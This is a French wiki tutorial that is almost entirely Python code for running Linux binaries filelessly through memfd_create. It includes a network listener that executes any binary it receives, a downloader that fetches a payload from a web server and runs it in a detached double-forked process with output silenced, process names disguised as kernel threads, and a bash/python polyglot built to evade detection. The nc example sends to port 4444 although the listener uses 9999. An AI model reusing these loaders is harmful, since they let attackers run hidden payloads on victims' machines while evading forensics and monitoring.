[Linux] Exécution de binaire en mode fileless

Introduction

Cette technique consiste à exécuter des binaires sur un systèmes Linux sans qu'aucun fichier ne soit jamais écrit sur le disque.

Pour cela, nous allons simplement utiliser un dropper en python qui va écouter continuellement sur le réseau pour récupérer les binaires qu'on lui envoie puis il va créer un descripteur de fichier (FD), il va copier les données reçues dedans et l'exécuter en mémoire. Afin de créer un descripteur de fichier en mémoire, on utilise l'appel système **memfd_create()** présent dans la libc.

Dropper.py

Version locale

```
import os
import ctypes
import sys

# Définition de la constante pour memfd_create (MFD_CLOEXEC évite la fuite du FD vers d'autres processus)
MFD_CLOEXEC = 0x0001

def load_elf_in_memory(elf_path):
    try:
        # 1. Charger le binaire cible en mémoire (Simulation de réception de payload)
        with open(elf_path, "rb") as f:
            payload = f.read()

        # 2. Accéder à la bibliothèque C standard pour appeler memfd_create
        libc = ctypes.CDLL("libc.so.6")
```

```
        # 3. Création du descripteur de fichier anonyme en RAM
        # On lui donne un nom qui peut paraître légitime (ex: [shared_cache])
        fd = libc.memfd_create(b"[shared_cache]", MFD_CLOEXEC)

        if fd == -1:
            print("Erreur : Impossible de créer memfd")
            return

        # 4. Écrire le payload ELF dans le descripteur de mémoire
        os.write(fd, payload)

        # 5. Exécution via le système de fichiers virtuel /proc
        # Le chemin /proc/self/fd/X pointe directement vers notre zone RAM
        print(f"[*] Payload chargé en RAM (FD: {fd}). Exécution...")

        # os.execv remplace le processus Python courant par le binaire ELF
        os.execv(f"/proc/self/fd/{fd}", [elf_path])

    except Exception as e:
        print(f"[-] Erreur : {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 dropper.py /path/to/binary")
    else:
        load_elf_in_memory(sys.argv[1])
```

Version network loop

Version complète qui reste en écoute perpétuellement :

```
import os
import ctypes
import socket

# Configuration
LISTEN_IP = "0.0.0.0"
LISTEN_PORT = 9999
MFD_CLOEXEC = 0x0001
```

```
def network_fileless_loader():
    libc = ctypes.CDLL("libc.so.6")

    # 1. Création de la socket serveur
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((LISTEN_IP, LISTEN_PORT))
    server.listen(1)
    print(f"[*] En attente du payload sur {LISTEN_IP}:{LISTEN_PORT}...")

    while True:
        conn, addr = server.accept()
        print(f"[*] Connexion reçue de {addr}")

        try:
            # 2. Création du memfd
            fd = libc.memfd_create(b"[kernel_shared]", MFD_CLOEXEC)

            # 3. Lecture du flux réseau et écriture directe en RAM
            while True:
                data = conn.recv(4096)
                if not data:
                    break
                os.write(fd, data)

            conn.close()
            print("[*] Payload reçu en intégralité. Exécution...")

            # 4. Exécution (fork pour ne pas tuer le serveur)
            pid = os.fork()
            if pid == 0:  # Processus fils
                os.execv(f"/proc/self/fd/{fd}", [" "])

            # Le père continue d'écouter
            os.close(fd)

        except Exception as e:
            print(f"[-] Erreur : {e}")
            conn.close()
```

```
if __name__ == "__main__":
    network_fileless_loader()
```

Et pour envoyer le binaire :

```
cat mybinary | nc -w 127.0.0.1 4444
```

Version furtive

Version furtive qui va chercher le binaire sur un serveur web puis l'exécute dans un nouveau process orphelin :

```
# one-liner version :
# python3 -c 'import os,ctypes,urllib.request as r;L=ctypes.CDLL("libc.so.6");p=r.urlopen("http://127.0.0.1/basic-payload").read();f=L.memfd_create(b"k",1);os.write(f,p);[os._exit(0) for _ in range(2) if os.fork()>0];os.setsid();[os.dup2(os.open(os.devnull,2),i) for i in (0,1,2)];os.execv(f"/proc/self/fd/{f}",[" "])'

import os
import ctypes
import urllib.request
import sys

# Configuration
URL_PAYLOAD = "http://127.0.0.1/basic-payload"
MFD_CLOEXEC = 0x0001

def run_detached_fileless():
    libc = ctypes.CDLL("libc.so.6")

    try:
        # 1. Récupération du binaire en RAM
        print(f"[*] Téléchargement du payload...")
        with urllib.request.urlopen(URL_PAYLOAD) as response:
            payload = response.read()

        # 2. Création du memfd
        fd = libc.memfd_create(b"[kworker_system]", MFD_CLOEXEC)
        os.write(fd, payload)

        # 3. Technique du Double Fork pour détachement total
```

```
        pid = os.fork()
        if pid > 0:
            # Premier parent : il s'arrête ici
            sys.exit(0)

        # On est dans le premier fils, on se détache de la session
        os.setsid()

        pid_grandson = os.fork()
        if pid_grandson > 0:
            # Le premier fils s'arrête, rendant le petit-fils orphelin
            os._exit(0)

        # 4. On est dans le petit-fils (détaché et adopté par PID 1)
        # Redirection des flux standards vers /dev/null pour éviter les logs/sorties
        devnull = os.open(os.devnull, os.O_RDWR)
        os.dup2(devnull, 0)
        os.dup2(devnull, 1)
        os.dup2(devnull, 2)

        # Exécution du binaire depuis la RAM
        os.execv(f"/proc/self/fd/{fd}", [" "])

    except Exception as e:
        # En mode furtif, on évite d'afficher les erreurs, mais pour ton POC :
        # print(f"Erreur : {e}")
        sys.exit(1)

if __name__ == "__main__":
    run_detached_fileless()
```

Voici une version identique mais qui échappe à la détection en se faisant passer pour un script bash mais qui exécute en réalité le code python (**Polyglot Script**) :

```
#!/bin/sh
''':'
exec python3 -x "$0" "$@"
'''
import os
import ctypes
```

```
import urllib.request
import sys

URL_PAYLOAD = "http://127.0.0.1/basic-payload"
MFD_CLOEXEC = 0x0001

def run_detached_fileless():
    libc = ctypes.CDLL("libc.so.6")

    try:
        with urllib.request.urlopen(URL_PAYLOAD) as response:
            payload = response.read()

        fd = libc.memfd_create(b" ", MFD_CLOEXEC)
        os.write(fd, payload)

        pid = os.fork()
        if pid > 0:
            sys.exit(0)

        os.setsid()

        pid_grandson = os.fork()
        if pid_grandson > 0:
            os._exit(0)

        devnull = os.open(os.devnull, os.O_RDWR)
        os.dup2(devnull, 0)
        os.dup2(devnull, 1)
        os.dup2(devnull, 2)

        os.execv(f"/proc/self/fd/{fd}", [" "])

    except Exception as e:
        sys.exit(1)

if __name__ == "__main__":
    run_detached_fileless()
```

Revision #5
Created 29 December 2025 20:24:52 by Elieroc
Updated 29 December 2025 22:15:11 by Elieroc